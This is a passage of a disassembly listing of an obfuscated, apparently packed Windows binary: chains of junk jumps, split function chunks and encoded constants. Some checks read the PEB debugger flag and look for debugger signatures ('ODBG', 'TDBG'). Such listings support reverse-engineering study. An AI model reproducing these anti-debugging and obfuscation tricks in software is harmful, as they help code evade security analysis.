sub_4236E2 endp
; ---------------------------------------------------------------------------
locret_4236ED: ; CODE XREF: _94j21ax3:0042BA6Bj
retn
; ---------------------------------------------------------------------------
loc_4236EE: ; CODE XREF: _94j21ax3:00425384j
jmp loc_42C262
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421689
loc_4236F3: ; CODE XREF: sub_421689+32D0j
jmp loc_427ED6
; END OF FUNCTION CHUNK FOR sub_421689
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_4236F8: ; CODE XREF: sub_42284F+1802j
shr ebp, 16h
loc_4236FB: ; CODE XREF: sub_42284F:loc_428E91j
push 8D2D9384h
pop eax
and eax, ds:4000F0h
xor eax, 43077574h
push offset loc_426DE6
jmp nullsub_118
; END OF FUNCTION CHUNK FOR sub_42284F
; =============== S U B R O U T I N E =======================================
sub_423717 proc near ; CODE XREF: _94j21ax3:004222FCj
; sub_4284C0+35B4p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00421CE0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00427A63 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AFBC SIZE 00000008 BYTES
xchg ebx, [esp+0]
pop ebx
cmp ax, 20FFh
jz loc_421CE0
xor eax, eax
loc_423727: ; CODE XREF: sub_423717:loc_427A63j
mov [ebp-5], al
mov al, [ebp-5]
call sub_421CCE
loc_423732: ; CODE XREF: sub_42454E-1655j
jmp loc_42AFBC
sub_423717 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov edx, 20413B0Fh
call sub_4239A5
push edi
mov [esp], eax
jmp loc_423888
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A61F
loc_42374A: ; CODE XREF: sub_42A61Fj
push offset sub_426716
jmp loc_4287AF
; END OF FUNCTION CHUNK FOR sub_42A61F
; =============== S U B R O U T I N E =======================================
sub_423754 proc near ; DATA XREF: sub_4294B3-512Bo
xchg ebx, [esp+0]
jmp sub_425A09
sub_423754 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_221. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B405
loc_42375D: ; CODE XREF: sub_42B405+10j
call sub_42B856
loc_423762: ; CODE XREF: sub_42284F+9660j
mov esi, 0C17CF5Fh
not esi
popf
; END OF FUNCTION CHUNK FOR sub_42B405
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42376A: ; CODE XREF: sub_42284F:loc_4274ECj
lea eax, [ebp-25Ch]
cmp dword ptr [eax], 47424454h
jnz loc_427BB3
jmp loc_4291A4
; ---------------------------------------------------------------------------
loc_423781: ; CODE XREF: sub_42284F:loc_429E74j
not ebp
popf
jmp loc_422A9A
; END OF FUNCTION CHUNK FOR sub_42284F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_162. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A791
loc_42378A: ; CODE XREF: sub_42A791+10j
jmp loc_42AE21
; END OF FUNCTION CHUNK FOR sub_42A791
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425539
loc_42378F: ; CODE XREF: sub_425539+3BBCj
jmp loc_42A7CA
; END OF FUNCTION CHUNK FOR sub_425539
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421402
loc_423794: ; CODE XREF: sub_421402+64D9j
xor edi, 0CFA5685Dh
add edi, 0EEE670D3h
xchg edi, [esp+10h+var_10]
jmp sub_429F37
; END OF FUNCTION CHUNK FOR sub_421402
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427849
loc_4237A8: ; CODE XREF: sub_427849-4033j
jz loc_421CE0
mov eax, [ebp-4]
cmp byte ptr [eax], 0E9h
jz loc_421CE0
mov eax, [ebp-4]
jmp loc_42207B
; END OF FUNCTION CHUNK FOR sub_427849
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_224. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_4237C3: ; CODE XREF: _94j21ax3:loc_42585Cj
pop ebx
sub ebx, 0EEE6100Ah
cmp ebx, 4D2A3E12h
jmp loc_42482F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_156. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_198. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421402
loc_4237D7: ; CODE XREF: sub_421402-1E6j
jmp nullsub_162
; END OF FUNCTION CHUNK FOR sub_421402
; =============== S U B R O U T I N E =======================================
sub_4237DC proc near ; CODE XREF: _94j21ax3:00422720j
; sub_421047+6E47p
; FUNCTION CHUNK AT 0042582F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004280BC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429DC2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B37F SIZE 00000005 BYTES
xchg edx, [esp+0]
pop edx
mov eax, [ebp-0Ch]
cmp byte ptr [eax], 0
jnz loc_4280BC
mov eax, [ebp-8]
shl eax, 3
jmp loc_429DC2
sub_4237DC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
jnp locret_427D2E
jmp sub_429EF8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427849
loc_423802: ; CODE XREF: sub_427849:loc_428B97j
cmp ds:dword_425BD4[eax*4], 0
jz loc_4252B5
mov eax, [ebp-4]
cmp byte ptr [eax], 0CFh
jmp loc_4237A8
; END OF FUNCTION CHUNK FOR sub_427849
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429629
loc_42381B: ; CODE XREF: sub_429629:loc_42BA40j
pushf
jmp loc_4274F7
; END OF FUNCTION CHUNK FOR sub_429629
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_96. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423C51
loc_423822: ; CODE XREF: sub_423C51+3B1Dj
jmp nullsub_159
; END OF FUNCTION CHUNK FOR sub_423C51
; ---------------------------------------------------------------------------
loc_423827: ; CODE XREF: _94j21ax3:00426784j
jmp loc_427408
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_151. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BD30
loc_42382D: ; CODE XREF: sub_42BD30+Bj
jmp nullsub_202
; END OF FUNCTION CHUNK FOR sub_42BD30
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427D53
loc_423832: ; CODE XREF: sub_42A254-8307j
; sub_427D53+2E90j
rol eax, 5
call sub_42BA79
loc_42383A: ; CODE XREF: sub_423094+Bj
jmp loc_421E32
; END OF FUNCTION CHUNK FOR sub_427D53
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_117. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
cdq
jmp sub_421CAA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_423846: ; CODE XREF: sub_4272E9-4EBj
xor ecx, eax
push edx
loc_423849: ; CODE XREF: sub_4272E9:loc_423A72j
push edx
push 0B9CEFFEDh
pop edx
or edx, 0AAE0725Dh
jmp loc_429FD5
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422898
loc_42385B: ; CODE XREF: sub_422898:loc_42434Fj
pop eax
and eax, 538E74BFh
test eax, 40000000h
jmp loc_42345F
; END OF FUNCTION CHUNK FOR sub_422898
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A7A6
loc_42386D: ; CODE XREF: sub_42A7A6-86AFj
push esi
shl eax, 1Dh
loc_423871: ; CODE XREF: sub_42A7A6:loc_421C2Dj
call sub_429BC2
push 0EEE0CCABh
pop edx
or edx, 897F5AC7h
jmp loc_4217D7
; END OF FUNCTION CHUNK FOR sub_42A7A6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_70. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_423888: ; CODE XREF: _94j21ax3:00423745j
jmp loc_42666B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_42388D: ; CODE XREF: sub_4294B3-524Dj
add edx, ebx
loc_42388F: ; CODE XREF: sub_4294B3:loc_425429j
lea eax, [ebp-26Fh]
; END OF FUNCTION CHUNK FOR sub_4294B3
; START OF FUNCTION CHUNK FOR sub_429862
loc_423895: ; CODE XREF: sub_429862:loc_428367j
cmp dword ptr [eax], 4742444Fh
jz loc_42A566
jmp loc_4229EA
; END OF FUNCTION CHUNK FOR sub_429862
; ---------------------------------------------------------------------------
loc_4238A6: ; CODE XREF: _94j21ax3:0042BE78j
push eax
push 29BC9839h
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_4238AC: ; CODE XREF: sub_4294B3:loc_4297FAj
pop eax
add eax, 9C5090E0h
jmp loc_421FC4
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_4238B8: ; CODE XREF: sub_42A0CC:loc_423911j
mov eax, large fs:30h
add eax, 2
mov eax, [eax]
or al, al
jz loc_427C89
jmp loc_424A6E
; END OF FUNCTION CHUNK FOR sub_42A0CC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4238D1 proc near ; CODE XREF: _94j21ax3:004269C6j
; DATA XREF: _94j21ax3:loc_4277FDo
; FUNCTION CHUNK AT 004216AE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042AD33 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042B808 SIZE 00000005 BYTES
push ebp
mov ebp, esp
call sub_423BF8
cmp edx, 4E4AC7ADh
jmp loc_42AD33
sub_4238D1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42678A
loc_4238E4: ; CODE XREF: sub_42678A+1037j
jz loc_42933E
call sub_4269EC
jnz loc_427DD9
mov ecx, [ebx+edx-4]
or ecx, ecx
jmp loc_429330
; END OF FUNCTION CHUNK FOR sub_42678A
; =============== S U B R O U T I N E =======================================
sub_423900 proc near ; DATA XREF: sub_428DA6-17AAo
mov cl, [ebp-0Bh]
xor edx, edx
mov dl, [ebp-9]
shr edx, cl
or eax, edx
call sub_42A72D
sub_423900 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_423911: ; CODE XREF: sub_42A0CC+Ej
jmp loc_4238B8
; END OF FUNCTION CHUNK FOR sub_42A0CC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_79. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_423917 proc near ; DATA XREF: sub_42B396o
mov [esp+0], ecx
call loc_4280A8
sub_423917 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_428993
loc_42391F: ; CODE XREF: sub_428993-B5Aj
jmp loc_428129
; END OF FUNCTION CHUNK FOR sub_428993
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421047
loc_423924: ; CODE XREF: sub_421047+5BB3j
jmp loc_42A233
; END OF FUNCTION CHUNK FOR sub_421047
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_137. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4250F7
loc_42392A: ; CODE XREF: sub_4250F7:loc_42B02Bj
rol eax, 0Bh
push eax
retn
; END OF FUNCTION CHUNK FOR sub_4250F7
; ---------------------------------------------------------------------------
loc_42392F: ; CODE XREF: _94j21ax3:004293A6j
jmp locret_42A763
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42972F
loc_423934: ; CODE XREF: sub_42972F-61DEj
jmp loc_42B4AF
; END OF FUNCTION CHUNK FOR sub_42972F
; ---------------------------------------------------------------------------
loc_423939: ; DATA XREF: sub_4221B8:loc_426E03o
not ecx
pop edx
mov ecx, offset sub_425758
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_423941: ; CODE XREF: sub_4294B3+2A0Dj
xchg ecx, [esp+0Ch+var_C]
retn
; END OF FUNCTION CHUNK FOR sub_4294B3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_423946: ; CODE XREF: sub_42284F+791Cj
jmp loc_4224A2
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426744
loc_42394B: ; CODE XREF: sub_426744-4935j
jmp loc_429DAC
; END OF FUNCTION CHUNK FOR sub_426744
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_423950: ; CODE XREF: sub_423324-1C26j
; sub_423324-19E4j
push offset sub_421114
jmp loc_424094
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422764
loc_42395A: ; CODE XREF: sub_422764+Aj
pop ebx
and ebx, 17E3C8C7h
cmp ebx, 66CF5886h
jmp loc_426F0A
; END OF FUNCTION CHUNK FOR sub_422764
; ---------------------------------------------------------------------------
sub ecx, 1F6FFF23h
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_423972: ; CODE XREF: sub_42B9CF:loc_421CBBj
pushf
jmp sub_42A092
; END OF FUNCTION CHUNK FOR sub_42B9CF
; ---------------------------------------------------------------------------
add ebp, edx
jmp sub_429C48
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42397F: ; CODE XREF: _94j21ax3:00423232j
; sub_42284F+85AFj
jle loc_426F12
cdq
cmp ebx, esi
jmp loc_421F6F
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_42398D: ; CODE XREF: sub_423324:loc_42341Cj
jnz loc_4297D4
loc_423993: ; CODE XREF: sub_42AB30-5DA9j
jmp nullsub_19
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
sub eax, edi
jmp loc_421F39
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_209. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A5A2
loc_4239A0: ; CODE XREF: sub_42A5A2+Cj
jmp loc_428CC4
; END OF FUNCTION CHUNK FOR sub_42A5A2
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4239A5 proc near ; CODE XREF: sub_421013+Ep
; sub_42BB39-AAD7p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00421F58 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042475E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429F78 SIZE 00000005 BYTES
push ebp
mov ebp, esp
jo sub_4259BF
add esp, 0FFFFFED8h
mov [ebp+var_8], edx
mov [ebp+var_4], eax
jmp loc_429F78
sub_4239A5 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427F1C
loc_4239BF: ; CODE XREF: sub_427F1C+5j
call sub_42B0C9
; END OF FUNCTION CHUNK FOR sub_427F1C
; START OF FUNCTION CHUNK FOR sub_421D33
loc_4239C4: ; CODE XREF: sub_421D33+A842j
jmp sub_4239A5
; END OF FUNCTION CHUNK FOR sub_421D33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425983
loc_4239C9: ; CODE XREF: sub_425983+1Dj
jmp loc_4247FB
; END OF FUNCTION CHUNK FOR sub_425983
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421388
loc_4239CE: ; CODE XREF: sub_421388+6j
jmp loc_42B0E6
; END OF FUNCTION CHUNK FOR sub_421388
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B706
loc_4239D3: ; CODE XREF: sub_42B706:loc_42A1B0j
jnz loc_4239DF
mov eax, [ebp-4]
mov [ebp-8], eax
; END OF FUNCTION CHUNK FOR sub_42B706
; START OF FUNCTION CHUNK FOR sub_423284
loc_4239DF: ; CODE XREF: sub_42B706:loc_4239D3j
; sub_423284+8471j ...
call sub_42BFE5
mov [ebp-0Ah], al
loc_4239E7: ; CODE XREF: sub_425808:loc_421D20j
push offset loc_422BEE
jmp loc_4219BC
; END OF FUNCTION CHUNK FOR sub_423284
; =============== S U B R O U T I N E =======================================
sub_4239F1 proc near ; CODE XREF: _94j21ax3:00427E42j
; _94j21ax3:loc_42AB85p
; FUNCTION CHUNK AT 00421262 SIZE 0000000A BYTES
xchg ebx, [esp+0]
pop ebx
call sub_42574E
mov edx, 4CB976E9h
call sub_4239A5
push eax
jmp loc_421262
sub_4239F1 endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424692
loc_423A0B: ; CODE XREF: sub_424692+22j
jmp loc_422F8F
; END OF FUNCTION CHUNK FOR sub_424692
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_423A10: ; CODE XREF: sub_42A0CC-242Bj
add eax, 0DD56979Ch
mov eax, [eax]
test eax, 70h
jz loc_4298E4
jmp loc_42699B
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42430C
loc_423A28: ; CODE XREF: sub_42430C+49D1j
call sub_42296F
; END OF FUNCTION CHUNK FOR sub_42430C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_61. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4257BC
loc_423A2E: ; CODE XREF: sub_4257BC+Fj
jmp loc_428593
; END OF FUNCTION CHUNK FOR sub_4257BC
; =============== S U B R O U T I N E =======================================
sub_423A33 proc near ; DATA XREF: sub_4264AF+6o
; FUNCTION CHUNK AT 00421353 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00424330 SIZE 00000005 BYTES
mov eax, ds:dword_42C214
or eax, eax
jnz loc_421362
call sub_42574E
mov edx, 7DA6ACC0h
loc_423A4B: ; CODE XREF: _94j21ax3:loc_42596Fj
call sub_4239A5
push eax
jmp loc_424330
sub_423A33 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_423A56 proc near ; DATA XREF: _94j21ax3:loc_42A088o
; FUNCTION CHUNK AT 00425847 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004263E6 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004274DB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00428600 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004289AE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428E53 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042AF2D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042BBD0 SIZE 0000000E BYTES
cmp dword ptr [eax+3Ch], 0
jz loc_423E68
jmp loc_428E53
sub_423A56 endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_143. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BC17
loc_423A66: ; CODE XREF: sub_42BC17+1Dj
jmp sub_4247A2
; END OF FUNCTION CHUNK FOR sub_42BC17
; ---------------------------------------------------------------------------
loc_423A6B: ; CODE XREF: _94j21ax3:00424D2Cj
xchg ecx, [esi]
jmp loc_42745F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_423A72: ; CODE XREF: sub_4272E9+4FA0j
jnz loc_423849
jmp loc_422B06
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AC2D
loc_423A7D: ; CODE XREF: sub_42AC2D:loc_421A95j
mov [esi], eax
adc ebx, edx
ja loc_42AD4A
jmp loc_42911D
; END OF FUNCTION CHUNK FOR sub_42AC2D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_423A8C: ; CODE XREF: sub_42B9CF:loc_423632j
cmp esi, ebp
jmp loc_421CBB
; END OF FUNCTION CHUNK FOR sub_42B9CF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42983E
loc_423A93: ; CODE XREF: sub_42983E+A6Ej
and ebp, 3FE1215Fh
or eax, esi
test edi, ebp
jmp loc_42190B
; END OF FUNCTION CHUNK FOR sub_42983E
; ---------------------------------------------------------------------------
push ebp
jmp loc_4287B9
; ---------------------------------------------------------------------------
rol edx, 17h
jmp loc_429EB7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_222. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_423AB1: ; CODE XREF: sub_42484C+45B4j
jmp loc_42735F
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_423AB6: ; CODE XREF: _94j21ax3:00428D28j
; _94j21ax3:0042916Cj ...
pop large dword ptr fs:0
push offset sub_42A0C8
jmp loc_4295AB
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
pushf
mov [esp], eax
ror eax, 5
push ebx
push 63128391h
pop ebx
add ebx, 911EB1Ch
rol ebx, 0Bh
jmp loc_4266A4
; ---------------------------------------------------------------------------
loc_423AE3: ; DATA XREF: sub_4258EB+3FE0o
call sub_422048
mov ds:dword_42C48C, eax
; START OF FUNCTION CHUNK FOR sub_423324
loc_423AED: ; CODE XREF: sub_423324:loc_4223C3j
jmp loc_4299D4
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4258EB
loc_423AF2: ; CODE XREF: sub_4258EB:loc_4258F6j
cmp ds:dword_42C48C, 0
jnz loc_422D2F
jmp loc_4299C0
; END OF FUNCTION CHUNK FOR sub_4258EB
; =============== S U B R O U T I N E =======================================
sub_423B04 proc near ; DATA XREF: sub_422048:loc_4271ABo
; FUNCTION CHUNK AT 00428113 SIZE 00000005 BYTES
add esp, 0FFFFFFE4h
mov [ebp-8], edx
mov [ebp-4], eax
push offset loc_42907A
jmp loc_428113
sub_423B04 endp
; ---------------------------------------------------------------------------
adc edx, edi
cmp ecx, edx
jmp loc_4231C7
; ---------------------------------------------------------------------------
loc_423B20: ; CODE XREF: _94j21ax3:00423BE8j
jz loc_422615
jmp loc_424991
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_423B2B: ; CODE XREF: sub_4294B3:loc_424E69j
pop esi
rol ebp, 0Ch
test esi, ecx
jmp loc_4297FA
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
loc_423B36: ; DATA XREF: sub_426B87+6o
pop ebp
mov eax, ds:dword_423438
or eax, eax
jnz loc_42127B
jmp loc_421730
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_423B4A: ; CODE XREF: sub_42484C+3ADj
mov [edx-8], eax
jmp loc_42C1A3
; ---------------------------------------------------------------------------
loc_423B52: ; CODE XREF: sub_42484C:loc_424BE4j
cmp dword ptr [ebp-10h], 2
jnz loc_42C1A3
mov eax, [ebp+8]
or dword ptr [eax-8], 8
jmp loc_422A10
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422FDC
loc_423B68: ; CODE XREF: sub_422FDC:loc_426E7Cj
; sub_422FDC:loc_42A95Bj
cmp dword ptr [ebp-1Ch], 67h
jnz loc_4232BD
jmp loc_428BA1
; END OF FUNCTION CHUNK FOR sub_422FDC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_423B78 proc near ; CODE XREF: sub_4281A5:loc_429339p
; _94j21ax3:loc_429FBCp
; FUNCTION CHUNK AT 00421794 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004231E1 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00424870 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424DDC SIZE 0000000C BYTES
xor bx, bx
add ebx, 10000h
loc_423B81: ; CODE XREF: sub_423B78-989j
; _94j21ax3:00426E50j
jns loc_4231F6
loc_423B87: ; CODE XREF: _94j21ax3:00424375j
jmp loc_4231E1
sub_423B78 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_147. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_423B8D: ; CODE XREF: _94j21ax3:00421F3Fj
jz loc_4298A3
mov eax, [ecx]
; START OF FUNCTION CHUNK FOR sub_423F55
loc_423B95: ; CODE XREF: sub_423F55+2BF3j
cmp ebp, 4AFCBBE2h
jmp loc_4297CE
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BFAD
loc_423BA0: ; CODE XREF: sub_42BFAD+6j
mov [ebp+var_1], al
cmp [ebp+var_1], 0
jz loc_427FAC
mov [ebp+var_8], 1
; END OF FUNCTION CHUNK FOR sub_42BFAD
; START OF FUNCTION CHUNK FOR sub_42B03C
loc_423BB4: ; CODE XREF: sub_42B03C:loc_42740Ej
; sub_42B03C-308Bj
mov eax, [ebp-8]
pop ecx
jmp loc_424D53
; END OF FUNCTION CHUNK FOR sub_42B03C
; =============== S U B R O U T I N E =======================================
sub_423BBD proc near ; CODE XREF: _94j21ax3:0042123Dj
; sub_42A791:loc_42AE21p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 004279EB SIZE 00000005 BYTES
xchg eax, [esp+0]
pop eax
add edx, 0B3D450ACh
xchg edx, [esp-4+arg_0]
jmp loc_4279EB
sub_423BBD endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push 6D73DE8Eh
jmp loc_42B4CC
; ---------------------------------------------------------------------------
loc_423BD9: ; DATA XREF: sub_42C5CD+6o
pop ebp
mov eax, ds:dword_429F88
or eax, eax
jnz loc_4295B0
jmp loc_423B20
; ---------------------------------------------------------------------------
jno loc_421DD8
jmp sub_42A7A6
; =============== S U B R O U T I N E =======================================
sub_423BF8 proc near ; CODE XREF: sub_4238D1+3p
; sub_424B01+4F06j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00421EF0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423D14 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00425B72 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042689A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00428041 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 004286FD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00428E83 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429E24 SIZE 00000005 BYTES
xchg edi, [esp+0]
pop edi
push ecx
mov esp, ebp
pop ebp
jmp loc_428E83
sub_423BF8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
jnz loc_4246F1
jmp loc_428BBB
; =============== S U B R O U T I N E =======================================
sub_423C10 proc near ; CODE XREF: sub_422866+2956j
push ebx
xor eax, 51FF1ABEh
sub_423C10 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_422866
loc_423C17: ; CODE XREF: sub_422866:loc_421EFAj
push 39FB679h
pop eax
add eax, 0FC604D87h
jmp loc_422288
; END OF FUNCTION CHUNK FOR sub_422866
; ---------------------------------------------------------------------------
loc_423C28: ; CODE XREF: _94j21ax3:00426773j
xor eax, 474D3949h
popf
shl eax, cl
mov edx, [ebp-14h]
call sub_427679
; START OF FUNCTION CHUNK FOR sub_42983E
loc_423C39: ; CODE XREF: sub_42983E-A05j
jmp nullsub_100
; END OF FUNCTION CHUNK FOR sub_42983E
; =============== S U B R O U T I N E =======================================
sub_423C3E proc near ; CODE XREF: sub_422815:loc_422818p
; _94j21ax3:0042A89Fj
; FUNCTION CHUNK AT 00421FA3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004226F8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00427144 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AE03 SIZE 0000000B BYTES
mov [esp+0], ecx
pop ecx
add esp, 0FFFFFFF8h
call sub_426B3C
test al, al
jmp loc_42AE03
sub_423C3E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_423C51 proc near ; DATA XREF: sub_42A7A6:loc_42B996o
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00421AEE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00422D81 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423822 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426552 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00427766 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004295F7 SIZE 00000016 BYTES
jnz loc_4295F7
adc edx, [esp+arg_0]
add esp, 8
mov eax, [eax]
jmp loc_421AEE
sub_423C51 endp ; sp-analysis failed
